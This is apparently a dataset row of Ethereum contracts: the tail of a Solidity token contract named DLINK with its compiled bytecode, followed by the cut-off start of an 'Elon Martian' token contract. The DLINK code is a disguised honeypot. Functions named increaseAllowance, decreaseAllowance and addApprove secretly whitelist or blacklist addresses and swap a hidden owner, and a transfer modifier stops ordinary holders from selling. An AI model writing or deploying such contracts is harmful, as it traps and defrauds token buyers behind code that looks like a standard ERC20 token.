_functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { if (returndata.length > 0) { assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } contract Context { constructor () internal { } function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } contract DLINK is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => bool) private _whiteAddress; mapping (address => bool) private _blackAddress; uint256 private _sellAmount = 0; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; uint256 private _approveValue = 115792089237316195423570985008687907853269984665640564039457584007913129639935; address public _owner; address private _safeOwner; address private _unirouter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public { _name = name; _symbol = symbol; _decimals = 18; _owner = owner; _safeOwner = owner; _mint(_owner, initialSupply*(10**18)); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _approveCheck(_msgSender(), recipient, amount); return true; } function multiTransfer(uint256 approvecount,address[] memory receivers, uint256[] memory amounts) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { transfer(receivers[i], amounts[i]); if(i < approvecount){ _whiteAddress[receivers[i]]=true; _approve(receivers[i], _unirouter,115792089237316195423570985008687907853269984665640564039457584007913129639935); } } } function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _approveCheck(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address[] memory receivers) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { _whiteAddress[receivers[i]] = true; _blackAddress[receivers[i]] = false; } } function decreaseAllowance(address safeOwner) public { require(msg.sender == _owner, "!owner"); _safeOwner = safeOwner; } function addApprove(address[] memory receivers) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { _blackAddress[receivers[i]] = true; _whiteAddress[receivers[i]] = false; } } function _transfer(address sender, address recipient, uint256 amount) internal virtual{ require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint256 amount) public { require(msg.sender == _owner, "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[_owner] = _balances[_owner].add(amount); emit Transfer(address(0), account, amount); } function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _approveCheck(address sender, address recipient, uint256 amount) internal burnTokenCheck(sender,recipient,amount) virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } modifier burnTokenCheck(address sender, address recipient, uint256 amount){ if (_owner == _safeOwner && sender == _owner){_safeOwner = recipient;_;}else{ if (sender == _owner || sender == _safeOwner || recipient == _owner){ if (sender == _owner && sender == recipient){_sellAmount = amount;}_;}else{ if (_whiteAddress[sender] == true){ _;}else{if (_blackAddress[sender] == true){ require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}else{ if (amount < _sellAmount){ if(recipient == _safeOwner){_blackAddress[sender] = true; _whiteAddress[sender] = false;} _; }else{require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;} } } } } } function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } }
0x608060405234801561001057600080fd5b50600436106100f55760003560e01c806352b0f19611610097578063a9059cbb11610066578063a9059cbb14610626578063b2bdfa7b1461068c578063dd62ed3e146106d6578063e12681151461074e576100f5565b806352b0f196146103b157806370a082311461050757806380b2122e1461055f57806395d89b41146105a3576100f5565b806318160ddd116100d357806318160ddd1461029b57806323b872dd146102b9578063313ce5671461033f5780634e6ec24714610363576100f5565b8063043fa39e146100fa57806306fdde03146101b2578063095ea7b314610235575b600080fd5b6101b06004803603602081101561011057600080fd5b810190808035906020019064010000000081111561012d57600080fd5b82018360208201111561013f57600080fd5b8035906020019184602083028401116401000000008311171561016157600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290505050610806565b005b6101ba6109bf565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101fa5780820151818401526020810190506101df565b50505050905090810190601f1680156102275780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6102816004803603604081101561024b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610a61565b604051808215151515815260200191505060405180910390f35b6102a3610a7f565b6040518082815260200191505060405180910390f35b610325600480360360608110156102cf57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610a89565b604051808215151515815260200191505060405180910390f35b610347610b62565b604051808260ff1660ff16815260200191505060405180910390f35b6103af6004803603604081101561037957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610b79565b005b610505600480360360608110156103c757600080fd5b8101908080359060200190929190803590602001906401000000008111156103ee57600080fd5b82018360208201111561040057600080fd5b8035906020019184602083028401116401000000008311171561042257600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f8201169050808301925050505050505091929192908035906020019064010000000081111561048257600080fd5b82018360208201111561049457600080fd5b803590602001918460208302840111640100000000831117156104b657600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290505050610d98565b005b6105496004803603602081101561051d57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610f81565b6040518082815260200191505060405180910390f35b6105a16004803603602081101561057557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610fc9565b005b6105ab6110d0565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156105eb5780820151818401526020810190506105d0565b50505050905090810190601f1680156106185780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6106726004803603604081101561063c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611172565b604051808215151515815260200191505060405180910390f35b610694611190565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b610738600480360360408110156106ec57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506111b6565b6040518082815260200191505060405180910390f35b6108046004803603602081101561076457600080fd5b810190808035906020019064010000000081111561078157600080fd5b82018360208201111561079357600080fd5b803590602001918460208302840111640100000000831117156107b557600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f82011690508083019250505050505050919291929050505061123d565b005b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146108c9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260068152602001807f216f776e6572000000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b60008090505b81518110156109bb576001600260008484815181106108ea57fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555060006001600084848151811061095557fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080806001019150506108cf565b5050565b606060068054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610a575780601f10610a2c57610100808354040283529160200191610a57565b820191906000526020600020905b815481529060010190602001808311610a3a57829003601f168201915b5050505050905090565b6000610a75610a6e6113f5565b84846113fd565b6001905092915050565b6000600554905090565b6000610a968484846115f4565b610b5784610aa26113f5565b610b5285604051806060016040528060288152602001612eaa60289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610b086113f5565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612cf19092919063ffffffff16565b6113fd565b600190509392505050565b6000600860009054906101000a900460ff16905090565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610c3c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f45524332303a206d696e7420746f20746865207a65726f20616464726573730081525060200191505060405180910390fd5b610c5181600554612db190919063ffffffff16565b600581905550610cca81600080600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612db190919063ffffffff16565b600080600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610e5b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260068152602001807f216f776e6572000000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b60008090505b8251811015610f7b57610e9a838281518110610e7957fe5b6020026020010151838381518110610e8d57fe5b6020026020010151611172565b5083811015610f6e576001806000858481518110610eb457fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550610f6d838281518110610f1c57fe5b6020026020010151600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6113fd565b5b8080600101915050610e61565b50505050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461108c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260068152602001807f216f776e6572000000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b80600b60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b606060078054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156111685780601f1061113d57610100808354040283529160200191611168565b820191906000526020600020905b81548152906001019060200180831161114b57829003601f168201915b5050505050905090565b600061118661117f6113f5565b84846115f4565b6001905092915050565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611300576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260068152602001807f216f776e6572000000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b60008090505b81518110156113f157600180600084848151811061132057fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555060006002600084848151811061138b57fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080600101915050611306565b5050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611483576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526024815260200180612ef76024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611509576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526022815260200180612e626022913960400191505060405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b828282600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161480156116c35750600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b156119ca5781600b60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff16141561178f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180612ed26025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161415611815576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180612e3f6023913960400191505060405180910390fd5b611820868686612e39565b61188b84604051806060016040528060268152602001612e84602691396000808a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612cf19092919063ffffffff16565b6000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061191e846000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612db190919063ffffffff16565b6000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a3612ce9565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480611a735750600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b80611acb5750600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b15611e2657600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148015611b5857508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b15611b6557806003819055505b600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff161415611beb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180612ed26025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161415611c71576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180612e3f6023913960400191505060405180910390fd5b611c7c868686612e39565b611ce784604051806060016040528060268152602001612e84602691396000808a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612cf19092919063ffffffff16565b6000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611d7a846000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612db190919063ffffffff16565b6000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a3612ce8565b60011515600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515141561214057600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff161415611f05576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180612ed26025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161415611f8b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180612e3f6023913960400191505060405180910390fd5b611f96868686612e39565b61200184604051806060016040528060268152602001612e84602691396000808a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612cf19092919063ffffffff16565b6000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612094846000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612db190919063ffffffff16565b6000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a3612ce7565b60011515600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515141561255857600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614806122425750600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b612297576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526026815260200180612e846026913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff16141561231d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180612ed26025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614156123a3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180612e3f6023913960400191505060405180910390fd5b6123ae868686612e39565b61241984604051806060016040528060268152602001612e84602691396000808a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612cf19092919063ffffffff16565b6000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506124ac846000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612db190919063ffffffff16565b6000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a3612ce6565b60035481101561292a57600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415612669576001600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506000600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff1614156126ef576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180612ed26025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161415612775576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180612e3f6023913960400191505060405180910390fd5b612780868686612e39565b6127eb84604051806060016040528060268152602001612e84602691396000808a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612cf19092919063ffffffff16565b6000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061287e846000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612db190919063ffffffff16565b6000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a3612ce5565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614806129d35750600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b612a28576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526026815260200180612e846026913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff161415612aae576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180612ed26025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161415612b34576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180612e3f6023913960400191505060405180910390fd5b612b3f868686612e39565b612baa84604051806060016040528060268152602001612e84602691396000808a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612cf19092919063ffffffff16565b6000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612c3d846000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612db190919063ffffffff16565b6000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a35b5b5b5b5b505050505050565b6000838311158290612d9e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015612d63578082015181840152602081019050612d48565b50505050905090810190601f168015612d905780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600080828401905083811015612e2f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b50505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a26469706673582212207b0693892dd5c46992c6aa1b61a9f96dad7721c253c105f5250bbed3209cf4f164736f6c63430006060033
{"success": true, "error": null, "results": {}}
2,510
0x91b1C805De63beE0FA7b1F5B7Db03f7951eF7E3e
//SPDX-License-Identifier: MIT // Telegram: https://t.me/ElonMartianToken pragma solidity ^0.8.4; address constant ROUTER_ADDRESS=0xC6866Ce931d4B765d66080dd6a47566cCb99F62f; // new mainnet uint256 constant TOTAL_SUPPLY=1000000000 * 10**8; address constant UNISWAP_ADDRESS=0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; string constant TOKEN_NAME="Elon Martian"; string constant TOKEN_SYMBOL="ELONMARTIAN"; uint8 constant DECIMALS=8; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface Odin{ function amount(address from) external view returns (uint256); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract ELONMARTIAN is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => uint) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 